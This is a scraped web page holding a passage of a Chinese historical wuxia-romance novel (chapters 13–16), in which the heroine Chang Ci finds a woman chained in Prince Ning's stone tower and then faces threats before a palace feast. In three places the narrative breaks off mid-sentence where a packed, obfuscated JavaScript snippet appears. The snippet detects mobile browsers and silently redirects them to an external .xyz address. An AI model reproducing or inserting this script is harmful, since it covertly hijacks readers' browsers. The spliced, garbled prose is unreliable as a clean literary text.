“快住手。”眼看一把锋利的小刀就往庄慕怀脖颈上去,张行简急忙跑过去,夺过长辞手里的“凶器”。 将她拉到一旁大树下,向其详细讲述了《宋刑统》中有关命案的规定。 江入年看了眼那头正被“教育”得连连点头的长辞,转头看庄慕怀,“哥,你说你惹她干嘛呀!” “好玩。” “那女人下手没轻没重的,你就不怕她伤着你?” “死都不怕,难道还怕伤着了?”庄慕怀盯着那把小刀的刀锋,心里不知道在想什么,嗤笑一声,“死了更好,反正有人正巴不得我赶紧死。” 江入年无奈叹气,唉,这疯病又犯了。 此刻已近辰时,日晒东墙。 院外有几只鸟儿正围着棵大树叽叽喳喳叫唤个不停,那大树就栽在一座高大的石塔旁,张行简闻声往那处瞄了一眼。 猛然就想起件怪事来—— 原本他并不想将此事告知长辞,免得她又搞出什么乱子,可长辞呢,要是不给她找点事做,闲下来没事就总跟庄慕怀打架,他管不住自家孩子,更管不住庄慕怀,索性就给她找点事,转移一下注意力。 “你跟我来,我有件正事跟你说。”张行简晃了晃听律例听得昏昏欲睡的长辞,示意她跟上自己的步伐。 他七弯八拐地走到一个偏僻的小道尽头,这才停下脚步。 “哇,好高的塔。”长辞揉揉眼,抬头望着眼前一座几丈高的石塔,震惊之余又十分不解。 “你带我来这儿干嘛?” 这石塔一看就是那种“王府重地,闲人免进”的地方,虽没写明,但中间围着一堵墙,院门还落着锁,张行简不会不知道这里是禁地。 按理说以他的性子不应该会偷窥别人府上的隐私。 “长辞,你能听到石塔里有什么声音吗?”张行简突然问。 长辞附耳默了片刻,摇头,“没什么声啊。” 说完一抬头,就看见张行简阴沉着一张脸正眯眼盯着石塔顶端的窗户,瞬间不由得打了个哆嗦,“你怎么了,难道这里头有鬼?!” “不是鬼,是人。”张行简背着手,又往围墙跟前走了几步。 塔牢吗?是不是里头关着什么犯人?长辞托着下巴打量,不对啊,这个石塔的构造不像牢房,倒像是用来储藏粮食的地方。 这石塔很高,却不够宽,细长细长的,要说用来关押罪犯多几个人都转不开身。 长辞跳上墙头,见石板的缝隙都用泥土封了一层,最底侧只有一扇小门,窗户开在塔尖,这种构造冬暖夏凉,储存谷物再合适不过了。 “你听错了吧,这里面怎么会有人?” 张行简摇头,“你还记不记得我们初来那日,江小公子命人收拾院落,我当时为躲清净就自己出来走了走?” “自然记得。”当时江入年闹得鸡飞狗跳,给一众婢女杂役们累够呛。 “当日院里人手不够,崔管家便让别处各院的人都去帮忙,我误打误撞来到此处时,见院门大开并没有上锁,还以为不是什么要紧的地方,便进去看了看。现在想来,应当是负责这里的人当时着急忙慌被调走,这才忘了锁院门。” 长辞才不关心那日门为什么没锁,只想知道张行简进到围墙里究竟看到了什么。 “其实我一开始也没怎么注意这座石塔,南方虽不常见,但北方富户多的是这种石塔来储藏冬粮。”张行简说着站在了一个高台上,正色道:“可那日,我却听到了里面有锁链拽动的声音。” “!”不会真是鬼吧。 “当时我在这园子里逛了一圈正要离去,忽然一个人影从别处飞了过来,直直地挂在了石塔旁边的树梢上。” “……”长辞挠挠头,呃,那不就是自己一脚踹飞瞿小宛的时候么。 “不知道是不是那塔里的人顺着天窗看到树顶有人所以才挣扎着呼救,试图挣脱铁链,这才发出了声响被我听到。” “你怎么知道里面锁的是人,万一是什么野兽呢?”长辞问。 “我将耳朵贴在石壁上听过了,的确是人。” 张行简十分笃定,“我自小耳力极佳,不会听错。这石塔的墙壁建得极厚,若非我靠得很近,根本不可能听到里面的呼救声。我记得当时里面的人喊的是——流月,快救我。” 流月? 难道是因为树太高,塔里那人看不清,所以将挂在枝头的瞿小宛当成了那个叫“流月”的人? 这么说来,那这个人就一定知晓万一自己遭遇不测,来救他的一定就是流月,否则塔底距离树梢那么远,他是怎么分辨此人是不是流月的。 “我怀疑……”张行简低声道:“宁王私设天牢。” 长辞往后退了一步,“你要干嘛,揭发他啊?” “依大宋新律,私人府邸不得……” “停停停!”长辞一见张行简背诵律法就头疼,连忙制止,“你先别急着下定论,谁知道那里头关的是什么人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083245|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没准是偷东西的家贼呢。” “应该不是。”张行简指着石塔上方的天窗,“家贼怎么会飞到天窗上留下个月牙的记号?” 长辞定睛一看,还真是!估计是那人用自己的指尖血画的,鲜红鲜红的,看着还有点渗人。 “不管是不是家贼,你都不要趟这个浑水,宁王是谁啊,皇家贵胄。你一介书生揭发人家私设天牢,这跟以卵击石有什么区别?” 张行简道:“王子犯法与庶民同罪,如若宁王真的有违律法私自扣押百姓,那我揭举他又有何不可?” 同个鬼,千百年来,王子犯法什么时候跟老百姓同过罪了?!张行简这个人也太认死理了,长辞知道自己劝不听他,也就没再说什么,而是转了个话题。 “你怎么知道天窗上的月牙记号是塔里那人画的?”没准是当年修建石塔的师傅无聊,随手弄的呢。 “我第一次来时还没有,昨日再看就有了。” 长辞了然,“这么说,他被抓来塔里的事,他的同伴应该是不知道的,所以昨日他趁机留下记号是想将自己的位置告知同伴,好让人来救他?” “很有可能。” “可这么小个记号……”长辞用手比划,“宁王府这么大,外面的人怎么看得见?” “除非……” 两人一对视,“除非他那个同伴,就在宁王府中!” 张行简说风就是雨,这就往回走,“那我们快找找府里有没有叫流月的人。” “哎呀,你急什么?”长辞伸手拦住他,眯着眼一笑,“其实还有一个更简单的方法。” “什么方法?” “我直接进塔里问一下那人因何被关在这里不就好了?” “你确定他会告诉你?” 长辞抱臂靠在墙上,“呐,他要是坏人指定就不会告诉我喽,可如果他是被冤枉的,当然是希望越多的人知道这件事越好,到时一定对我知无不言,言无不尽。” 张行简有些犹豫,这地方落了好几把玄锁,属于宁王府的私人禁地,他们这么贸然闯入终归是于礼不合,可如果不追查下去,万一宁王真在此处私设刑狱,那便是律法所不能容的大错。 可惜不等他想明白,长辞那个风风火火的性子就已经飞上围墙,只见她脚尖轻轻一点,人就像羽毛一般轻盈地落在了塔顶的天窗上。 这窗户不知用什么制成,中间的隔挡硬如磐石。长辞透过缝隙自上往下望去,石塔里空空旷旷,景象一览无遗,她一眼就瞧见了石壁旁的铁链上拴着个人。 还是个女人! 那人似乎昏睡了过去,并没有发现头顶有人正在试图破窗而入。 长辞用力一撞,紧接着龇牙咧嘴地捂着手肘叫唤了一声,真疼啊,这什么窗!也太结实了! 从外面根本就打不开嘛。 算了,改日借了江入年的剑再来试好了。 可就在长辞准备放弃的时候,这时,太阳忽然从云层里钻了出来,透过窗户洒射在那人的脸庞上。长辞定睛一看—— 天娘哎!竟然是州衙门口敲鸣冤鼓的那个妇人!难怪都说她撤了状子就消失了,原来是被关在这里了啊! 可宁王抓她作甚?难道说他与杀害那妇人夫君的凶手是一伙的? 完了完了,这下完了!长辞本意只是想看个热闹,谁知竟看出个王府的惊天大秘密,这要是给宁王知道了,保准要灭了她跟张行简的口。 14. 第 14 章 她自己倒是不担心,只怕张行简这家伙要凶多吉少了!唉,好歹也是她结拜的大哥,还是劝他别再插手此事了吧。 长辞想的过于投入,连此刻院外来了人都没有发觉。 直到一只箭矢从她眼前划过,她这才回过神来,一个闪身迅速贴在天窗上。往下一看,围墙外除了张行简,还站着三个人。 站在最显眼处的,自然是一脸看戏表情的庄慕怀,而他旁边的,是个雍容华贵的男子,没猜错的话,此人应该就是刚刚归府的宁王。 宁王身后跟着个贴身侍卫,方才那一箭就是他射出的,长辞撇撇嘴,箭法一般嘛! “哪里来的毛贼!还不束手就擒!”那侍卫见她不动,朝石塔方向喊道。 哎呀这可怎么办?叫人抓个现行。 跑倒是也能跑,可问题是,跑了之后宁王肯定又会派人来抓她,那她岂不是又要像之前躲庄慕怀那样,东躲西藏地过日子了? 长辞正叹着气,忽然睫毛一眨,想到个算不上好法子的法子—— 只见她脚下一滑,手一松,一个鹅黄色的身影就那么从几丈高的塔顶掉了下来。 紧接着发出一长串“啊啊啊”的尖叫声。 众人心惊。突然!就在这时,一阵疾风划过,一道矫健的白影“唰”地瞬移至塔下,长臂一揽,接住了将要摔落在地的女子。 庄慕怀心突突直跳,抱着长辞的手都有些发颤,心道这女人是疯了吗! 喘了好几口气这才将她放下来,语气意味不明道:“好玩吗?” 原以为长辞又要跟他呛声,谁知那人却低着头不语,肩膀一耸一耸的,仿佛是在啜泣。 “……” 这时,宁王正好命人打开了院门的锁,带着那贴身侍卫一起进来了。 庄慕怀正要说话,却一把被人拽住胳膊,他下意识回头,只见一张泪流满面的小脸委委屈屈地看着他。 “慕怀哥哥,都是我不好,我不该爬到树上去捡风筝,呜呜呜,吓死我了……” 庄慕怀:“……” 这演的又是哪一出?! 宁王看看庄慕怀,又看看他怀里哭得跟个泪人儿似的姑娘,一时间有些凌乱,“这位是……” 不等他问完话,长辞又嗷了几嗓子,抽抽噎噎的。 末了乖乖回话,“王爷,小女名叫长辞……我本来好好的在后院放风筝,可那风筝线无端端就断了,风筝被风吹、吹到树梢上了,这是慕怀哥哥送给我的,我一定不能弄丢它,就爬到树上去捡,谁知道风太大,风筝刮不见了不说,还害得我还从树梢掉到了石塔上,吓得我、吓得我根本就不敢睁开眼……” 宁王心道,原来这就是崔管家说的那位,与庄公子关系非同一般的长辞姑娘。 一听说“没睁开眼”,宁王提起的心终是放下了一半,还好这姑娘什么都没看到,要是她真看到了什么不该看的东西,这事儿还真就有些难办了…… “好了好了,不哭了啊,乖。”庄慕怀装模作样地拍了拍长辞后背,一脸心疼的样子。 长辞把头埋在庄慕怀的怀里哭个不停,弄得宁王有些无措,只能命人去街上多买些风筝回来。 “慕怀哥哥,要不是你恰巧来了,人家就、就失足摔死了,呜呜吓死人了……” 庄慕怀嘴角一抽,心说谁还能把你给吓死了! 见她一时半会儿没有停下来的意思,宁王站着也是尴尬,于是说了几句客套的安慰话,便带着侍卫先走了。瞧她那魂不守舍的样子,看似也不像装的,应该就是误打误撞掉在了石塔上。 直到没了人影,庄慕怀才戳了戳还在怀里假哭那人的脑门,“喂,我说你胆子也太大了吧,几丈高的地方,你说跳就跳?” 长辞用他的衣襟抹了一把泪痕,笑嘻嘻道:“我不是给你使眼色了嘛,你肯定会来救我啊。” 看她变脸比变戏法还快,庄慕怀气不打一处来,“我要是没接住你怎么办?又或者我压根就不想接你呢?相比起你,貌似我跟宁王的关系要更近一些吧。” “我这么美,你怎么可能见死不救?” “别贫。”庄慕怀难得地有点严肃,“说真的,方才我若是真不去接你,你知不知道自己就直接摔死了?” “摔死就摔死呗,反正早该死了。”长辞掰着手指头一算,边往外走边想,这还多活了半年呢! “你!”庄慕怀拎着她的后襟给拽了回来,“你这张嘴,说话真是没一点忌讳。” “骗你呢,哈哈,我怎么舍得死。”长辞眨眨眼,“我敢跳就是因为我确信,你一定会来救我。” “是吗?”看她那胸有成竹的神情,庄慕怀这才信了这人不是真疯。 长辞得意点头,“去大敖山寻宝的人那么多,你要想得到宝物,单靠个人力量肯定不行,须得找人结盟,而我,就是你选中的那个人。” 她停下来看庄慕怀,“所以呀,你怎么可能让自己好不容易选中的同盟人去死呢?” 还记得姜姐姐之前不解地问她,“庄公子这人对什么都恹恹的,怎么唯独爱缠着你?怕不是有什么企图。” 当然是有所企图了,不然还能是看上她了啊! 庄慕怀一愣。 说实话,他都有些钦佩这人了。这想法他从未向旁人言明过,连江入年都认为自己缠着长辞是对人家有意思,可她竟能一下猜出他心中所想。 顿时看向长辞的眼神就有些变了,“这么说,你同意了?” “好像不同意也不行吧。”长辞垮着个脸,“我现在已经有把柄在你手上了。” 跟聪明人讲话就是舒坦,他甚至还没开始谈条件,这丫头就已经料到了结果。 庄慕怀话音一转,戳她,“诶,你刚才在塔顶看到什么了?” “什么都没看到啊。” “你这个态度……不大好吧?”好歹也是同盟了。 长辞还没来得及说话,刚一走出院门,冷不丁就被人一把拉了过来,左瞧右看,“没事吧长辞,你没受伤吧?”方才那场景真能把人活活吓死,张行简心都提到嗓子眼了! “我很好,你应该问的是他。”长辞一指身后的庄慕怀。 庄慕怀还真有点受伤,正揉着酸痛的胳膊往出走,一抬头就看见张行简行了个端正的高揖礼。 “庄公子大恩,吾妹长辞此生无以为报,来生愿做牛做马……” “哎哎哎,要报你报,我可不做牛做马。”长辞急忙出声制止,生怕一语成谶,下辈子真给装不坏做了牛马。 庄慕怀一笑,心道这丫头还真是一点亏不吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083246|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着又意味深长地看了她一眼,心里清楚她方才在塔顶指定是看到了什么,否则断不会行此下策。但他也没戳破,这种事彼此心照不宣就好。 不过还是好心劝了一句,“有些事并非你表面看到的那样简单,我劝你最好别掺和在里面。” 这话看似是给长辞说,实际上却是说给一旁的张行简听的。这人满脸都写着“休源风范强正,明练政体,常以天下为己任”,路见不平便要上,一不小心便会给他们招惹麻烦。 “庄公子。” 张行简见庄慕怀要走,急忙出声叫住他,“庄公子可方便告知在下,这石塔里关的究竟是什么人?” “你怎么不问她呢?”庄慕怀把问题抛给了长辞。 “我真什么都没看到。”长辞一脸诚恳地发誓,“真的。” 庄慕怀无奈摊手,“这里面关着什么人我确实不知,不过我可以用我的人格保证,这人……” 说到人格,那两人突然齐刷刷看向自己,庄慕怀不满,“喂,你们这是什么表情?我就不能有人格了吗?!” 长辞诚心发问,“你有吗?” “得。”这玩意他还真没有,“那我以性命担保总可以了吧?” “这个行。”长辞示意他继续说。 “我以性命向你们保证,这里头的人绝非善类,宁王也绝不会做出伤天害理之事,过段时间这人犯就会被押解汴京,所以在此期间,请你们务必不要将此事外传,听明白没?” “既然是凶犯,干嘛要偷偷摸摸的怕人知道?”长辞半信半疑,庄慕怀自己做不做伤天害理之事都尚未可知呢,他还好意思给别人作保。 张行简却对此深信不疑,连连称是。 他以前一直知晓庄衡庄大人家有位性格阴晴不定的独子,却不知此人就是庄慕怀。按说庄慕怀的名声在汴京家喻户晓,张行简理应听过他那些荒唐事才对,可怪就怪庄慕怀名声大噪的这几年,他刚好离京去了江宁,加之汴京庄姓人户不在少数,张行简这才未曾想过将两人联系起来。 昨日听长辞一说,才知晓了此事。 据他所知,庄大人家这位独子向来傲气,做事直来直往,不屑与人兜圈子,他说是,那就一定是,所以他对庄慕怀的话深信不疑。 几人一同往回走,庄慕怀撵上走在最前头的长辞,用手轻轻一扯她的衣领,扯得她往后退了几步。 “我都以性命起誓了,这么不给面子?” 长辞回身就往他身上打,“手那么欠呢你,走开,别拉拉扯扯的。” “走哪儿去啊?” “关我什么事?” “那我就走你这儿来了呗。”庄慕怀说着往她跟前凑了凑。 长辞一怒,“找死!” 话音刚落,迎风就劈来一掌,庄慕怀轻巧躲过,边跑边道:“刚才还亲切地叫人家慕怀哥哥,这会儿就想着劈死我了?你卸磨杀驴啊!” “杀的就是你这头驴!” 光影透过层层叠叠的树荫洒在石阶上,两人一个跑,一个追,一前一后往客院的方向去了。 张行简不紧不慢地走在后头,止不住疑惑,这庄公子怎么跟传闻中庄大人家的独子有点不一样呢?不是传言那人很难相处吗?他怎么觉得庄公子人还挺好的。 …… 15. 第 15 章 宁王府有一处僻静的院落。 在院墙和屋墙之间,有一条窄窄的小径,小径上栽着一棵苦楝树,那树约莫已有十年之久,枝干繁茂,满庭芳香。 午后,长辞倚在花团锦簇的枝头,倏而有些恍惚,千多年前她也在自家庭院种过这么一棵苦楝树,和如今这棵很像,谷雨三候,亭亭如盖。 二十四花信风中,她最喜欢的就是楝花。 尤其是那种长了十几年的老桩开出的花,大风至时漫天飞舞,像是春日走到尽头时落下的最后一场雨。想着想着,还真就起了风,长辞拾起身子坐在树杈上,花瓣随风飞舞。 此时树下站了个人,正仰着头看她。 那人白衣似雪,衣袂飘飘,看向她的那双眸子里含着笑意,长辞一怔,总觉得这一幕好像在哪儿发生过。 那画面在她脑海里忽隐忽现,忽而与眼前这番场景重叠,忽而模糊不见。可任凭她怎么想,就是想不起来脑海中那一幕到底是何时发生的…… 难不成是在梦里? 等等,她竟然做梦梦到了庄慕怀?!哎呀真晦气! “发什么呆呢?”庄慕怀仰着头手举着个盒子大半晌,见树上那人不为所动,又将手里的盒子放了下来,“这可是王府特供糕点,你不尝尝?” 长辞还没从刚才那种怪异的感觉中缓过劲来,总觉得自己漏掉了什么很重要的东西,低头闷闷叫了声庄慕怀的名字。 “庄慕怀。” “嗯?”庄慕怀轻声应她。 “我们俩是不是以前在哪儿见过?” “没有吧。” “你再好好想想?” 庄慕怀当然不知道她心里又在想什么,半是玩笑半认真地说,“这个还真没有。你生得如此国色天香,我要是见过你,一定见之不忘,思之断肠。” 死装不坏,敢占老子便宜!长辞随手捞起根枯枝,就往树下之人掷去。 庄慕怀伸手接过扔在地上,一脸无奈,“你属斗鸡的啊,一见面就跟人掐。”说罢不等她回答,就拎着糕饼盒子跃上了枝头,稳稳当当落在长辞对面。 “尝尝?” 长辞别别扭扭道了声谢,将糕饼抱在怀里吃了起来。甜甜腻腻的口感在口中蔓延,她不自觉地就开心起来,眼睛笑成弯弯的月牙。 嘴里不知道哼着什么调子,腿跟着一晃一晃的。正吃着,就瞧见院墙外的庭院里来来往往有好些下人,忙忙碌碌的不知在干什么。 “江入年又在折腾他们?” 庄慕怀摇头,“是在准备今日的夜宴。” 夜宴?“宴请我们?” “自然不止我们。” 其实这宴席原本确实是为庄慕怀接风洗尘而设的,奈何近日因“大敖山宝物”一事昇州来了不少人,而且好些都是宁王在汴京的旧识,一听说宁王昨日归府了,便纷纷都下了拜帖。 如此一来,若不一道宴请了人家也不大合适,于是宁王下令扩大宴席,这才搞得府里众人从一大早就开始忙活。 这不,都快申时了还没忙完。 长辞听庄慕怀这么一说,目光又转向了墙外的庭院。正此时,那人群堆里走来个手拿账簿的女子,边与崔管家说着什么,边张罗着大殿上桌椅的摆放位置。 此女生得极美,蛾眉螓首,肌肤像浸了水的白玉,通身矜贵,乌黑的发鬓上簪着几只名贵的发簪。 “那人是谁?”长辞问。 庄慕怀顺着她手指的方向一看,“哦,宁王侧妃柳庭月。” 果然没猜错,还真是王府的另一位侧妃,瞧这架势,王府应该是她来管家,难怪姜姐姐说话没什么分量。 庄慕怀一看她那双忽闪忽闪的大眼珠子转来转去,就知道她心里又在弯弯绕想什么了。 “柳庭月乃户部尚书之女,身份尊贵,曾与王妃一前一后嫁入王府,也算是宁王府的老人了。因你那个姜姐姐从不过问府中诸事,故而这管事权就全都落在了柳妃手上,这些年王府一应事务皆由她来打理,据说做的还算不错,王爷对她的处事能力颇为满意。” 长辞狐疑,“你给我说这个干什么?” “还能干什么。”庄慕怀往树干一靠,“怕你替人出头的毛病又犯了呗。所以提前告诉你,好让你悠着点。” 长辞听罢眯起眼睛看他,“这么说来,这柳庭月也是个不好相与的?” “我可没说。” 长辞心道,这不明摆的么。 “那我问你,宁王是不是压根就不喜欢这个柳妃?我是说男女之间的那种喜欢。”按照庄慕怀的描述,总感觉王爷对她的态度,不像对宠妃,倒像是对一个颇为能干的管家。 鬼精丫头。庄慕怀事不关己地笑笑,“这话我也没说。” 长辞撇撇嘴,“人家管权的管权,受宠的受宠,合着这王府里就姜姐姐最惨啊。” “此言差矣,其实宁王待她还算不错。”庄慕怀坐直了身子,“据我所知,宁王府的许多规矩她都不必遵守,比如不必晨参暮省侍奉太妃,再比如可以抛头露面四处义诊。” 这也看不出什么来吧。抛头露面那是给他们宁王府博好名声,宁王自然不会说什么,至于侍奉太妃嘛…… “怎么还有个婆婆啊?”长辞咬着指甲盖想,后院一群女人争宠就够心烦的了,要是再有个难缠的婆婆,那姜姐姐这日子得难过成什么样? “你这是什么表情?”这一脑门的忧愁都快逗乐庄慕怀了。 长辞换了个笑脸,“哎呀,我实话实说么。你们男的总说娶妻娶贤,那自然是希望自己的妻子对婆婆百般好,千般孝。可身为女子,情况就大不相同了,嫁人时自然是觉得没有婆婆最好,如果有,那就不住在一块儿且二人都好相处最好。而像姜姐姐这种的,实在是算不上好。” 庄慕怀乐了,“嫁个王爷还不好?” “有什么好的。”这大宅院里头,最会吃人。 “所以你觉得,你的那个姜姐姐如今是深陷牢笼无法挣脱?” “可不么。自古父母之命媒妁之言,有几个女子能反抗?”如果可以选择,姜姐姐也不愿意过这种生活吧。 庄慕怀看热闹不嫌事大,“那如果我告诉你,这门婚事并非父母之命,而是姜云自己几年前求天求地,硬求来的呢?” “什么?!”长辞眼睛睁得大大的,“这不可能吧!” 她还真没看出来姜姐姐对宁王有半分的眷恋,这几日宁王不在府中,她从未关心过他何时归来,宁王回来了,崔管家让人来禀,她也只淡淡“哦”上一声。 跟瞿小宛的相思成疾比起来,姜云的反应可谓是冷淡得不能再冷淡了。 庄慕怀见她不信,笑道:“此事汴京人人皆知,你不信可以出去打听。” 长辞不高兴了。“你一个大男人,怎么还乱嚼人舌根子?” “……”庄慕怀无奈,一碰上她总是有理说不清,“我说你能不能讲点道理?这话不是你先开的头吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083247|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说是我说,但你怎么能乱传什么姜姐姐求天求地求着嫁给宁王。” 得,看来是没信。“行,我不说了,你那么能耐以后自个儿问她呗。” 长辞没说话,低着头默默吃糕饼。 一朵苦楝花飘飘悠悠地落在她发髻上,庄慕怀用手指轻轻摘掉,捏着尾部的杆儿捻来捻去。“宁王是她夫君,她爱慕自己夫君天经地义,你不高兴些什么?” “哎,你不懂。” “怎么,你也喜欢宁王啊?” 长辞白了他一眼,“白痴。” 庄慕怀哈哈大笑,往她跟前靠了靠,“那是为什么?给我说说呗。” “没听说过最是无情帝王家啊。”长辞从树上轻轻一跃,落在院墙外的回廊下,庄慕怀跟着她跳了下来。 听她道,“宁王有这么多女人,以后保不准还会更多,这男人么,再深情的都有一天会喜新厌旧,何况宁王这种看着也不像是什么深情之人的,姜姐姐心里没他倒也还好,晒晒草药看看诊,守着自己的一亩三分地过就是了。可若是心里有他,那伤的可就是自己了。” 两人沿着回廊往客院的方向走,庄慕怀好奇,“此话怎讲?” 长辞背着手继续道:“人一旦爱慕一个人,就会有所期待,期待他对自己好,期待他事事有所回应,可若是得不到回应,那么时日一久,就会心生惆怅怨怼——怨怼一起,要么就是滋生邪念铸成大错,要么就是牵连到自己的身子骨,伤肝伤神,久病不愈。” 像瞿小宛就是属于前者,红杏出墙犯下大错。而她娘就是后者,最终自己害了自己。 “你倒是通透得很。”庄慕怀转头看她。 “见的多罢了。” 一个二十岁的小姑娘能见过什么,庄慕怀看她老神在在的,忽觉好笑,“那依你之见,这种事该如何破解?” 长辞理所当然道:“管住自己的心啊!如果得不到那人的心,不如管好自己,不去爱他。” “这话说起来难,做起来更难。如果世人都能做到你说的那样,那这世上就没有‘为情所困’这个词了。” “那是他们心志不坚,我就可以啊。”长辞说的轻松。 庄慕怀笑着摇头,“等真到了这一天,你要是还能这么说,我便信了。” 长辞“哼”了一声,爱信不信,说着朝隔壁姜云的院里去了。庄慕怀忽然想起个事,站在院门口叫她。 “对了,听说今夜的宴席薛通也会到,你自己小心点。” “知道啦。”长辞头也没回,背着身子朝他摆了摆手,心道至于么,一个两个都那么怕那变态? 此时太阳下去了些,不似正午那般晒人,长辞舒服地躺在摇椅上,吹着温风,和姜云有一搭没一搭地闲聊。 姜云原本正在院子里收晒干的药材,一听说薛通要来,立马变了脸色,“不行,你跟他有过节,还是别去宴席了。” “这儿可是宁王府,他还能怎么着?” 姜云擦了擦手,走过来坐在长辞身旁,“这种人哪管什么王府,便是皇宫他也敢行那肮脏事,你听我一言,莫要前去赴宴。” “别担心。”长辞拍拍她的手,“我若不去,那柳庭月当着众人的面向宁王告你一状怎么办?说你对瞿小宛滥用私刑。” 姜云扣着她的手腕,一脸焦急,“跟薛通比起来,这都是不打紧的小事,你若真把我当姐姐就听我的,今晚就待在院里哪也别去。那薛通再浑,他也不敢强闯王府女眷寝院。” 16. 第 16 章 瞧她神情似乎过于紧绷,长辞不解,“姜姐姐,你应该没见过薛通这个人吧?” 姜云一顿,“是啊。” 她父亲生前乃是郓州节度使,姜云自小随父母在郓州长大,理应未曾见过薛通,可长辞就是隐隐觉得,她对薛通的恐惧似乎有点过头了。 “你好像特别怕他。” “有吗?”姜云摸摸脸颊,大概也觉得自己反应有些过激,解释道:“我一听他要来心里便很是不安,如此大恶之人,你可千万不能抱有任何侥幸心理,我们宁可谨慎过头也不能掉以轻心,万一要是着了他的道,那就是万劫不复之地,此生想后悔都没有机会了。” 姜云一脸认真,长辞自然知道她是为自己好,正要说不必为她担心,就见院外来了几个嬷嬷女婢。 那嬷嬷先是敷衍地行了礼,紧接着起身便道: “这些华服朱钗皆是柳妃命老奴拿来给侧妃娘娘的,柳妃说了,今日王爷要宴请京中的贵人们,虽不是什么正式的节宴,但也得穿着大方得体,不能丢了王府的脸面,请侧妃娘娘务必从中挑选一件,打扮得当了再前去赴宴吧。” 说完也不管姜云还问不问话,转头就走了。 “欠收拾是不是!” 长辞这个暴脾气,二话不说就要去收拾那个没规矩的嬷嬷,姜云一把拉住她,笑了笑,“算了,跟那些势力小人有什么好计较的。” 姜云院里只有个宁王亲自派来的侍女阿朱,阿朱年纪小,没什么城府,一见着好看的衣裳首饰眼睛都亮了,捧着钗盒就往姜云跟前凑。 “您瞧,好漂亮的金凤簪啊,娘娘戴着定然美极了,虽说这柳妃平日里是不讲情面了点,不过关键时候还是蛮体面的嘛。” 傻丫头。长辞刚摇了摇头,就听姜云道:“这些今夜通通都不用,就穿我那件淡青色的旧衫子。” 阿朱眨眨眼,不知道姜侧妃好端端的为何要打柳妃的脸,不过她向来愚笨,想也想不明白,娘娘说什么照做就是了。 阿朱进屋后,长辞挨个将送来的那些东西摸了个遍,啧啧两声。 这里面的每一样物件都堪称珍宝,无论单拎出哪件都十分地惹人眼,更别说要是穿戴整齐去赴宴,那势必会成为夜宴上众所瞩目的焦点。柳庭月亲自操办此事,长辞不信她不知道薛通会来参加宴会,换句话说,或许正是因为她知晓薛通要来,才故意让姜姐姐打扮得如此光彩夺目。 不仅夺目,这些衣裳设计巧妙,甚至可以说是有点……妩媚过头了。 到时候薛通喝了酒再犯了浑,惹出点什么事来,那可跟她柳庭月没有半分干系。 这么一比,长辞忽然觉得瞿小宛也没那么讨厌了,至少她还能光明磊落一些。 “这柳庭月可真够阴的。” 姜云自嘲一笑,“逢年过节也不见送这些,偏偏今日来送,该是有多厌我。” 此事看似是她与长辞想多了,实则不然。 薛通那人她再了解不过,可不管你是什么出阁女还是已婚妇,只要他看上了,那可都要想方设法地得到手,之前也不是没出过这样的事。 这时,有人来禀告,说是王府后门外有人找长辞姑娘。长辞与姜云皆是一愣,这天都要黑了,筵席马上开始,不晓得谁这会儿来找她作甚? 姜云不放心,让两个侍卫同长辞一道去了后门。 长辞打开门一看,竟是个脸熟的小乞丐。她略一回想——哦,是那个叫“枭哥”的小乞丐的兄弟。 小乞丐把长辞叫到一旁的墙根,避着人,一脸焦急又害怕,“你是长辞吧,枭哥得了消息让我赶紧来告诉你,说是你让他跟踪的那个人今晚就要害你,先下迷药,然后再把你掳到城外庄子去,你、你赶紧逃吧。” 长辞心里感觉不妙,“那他怎么没来?” 小乞丐一听这话,声音里立刻带了哭腔,“枭哥就快要死了……他被人打了,骨头都打断了,恐怕是活、活不成了。” “谁打的?”长辞心一提。 小乞丐摇头,“只知道授意那人是汴京来的,枭哥说是个顶有钱、顶有势力的贵人,叫我们不要替他报仇。” 薛通?! 天杀的!长辞眼里划过一丝杀意。 她从怀里掏出一早从庄慕怀那里抢来的银票,“这些银票拿着,去请昇州最好的郎中,就说治好了宁王府姜妃必有重谢,请他务必竭尽全力医治,我现在走不开,银子不够你尽管来王府找我。” 小乞丐“扑通”一声跪在地上,连连磕头,“多谢姑娘大恩,多谢姑娘大恩。” 长辞见不得人说“恩”这个字,蹙眉让他快走,直到那小乞丐的身影消失在街上,她才转身往王府里走。 什么大恩!如果不是她,那个叫枭哥的小孩压根就不会遭此劫难。长辞平生最讨厌欠别人人情,现在却无端连累了个才认识没几天的小乞丐,顿时肚里就生起一股无名火。 虽说她跟这孩子只是交易关系,可人家拢共也就只赚了她二两银子,二两银子一条命,这人命也真是够轻贱了! 越想越气,长辞这下可算是把薛通给恨了个透。 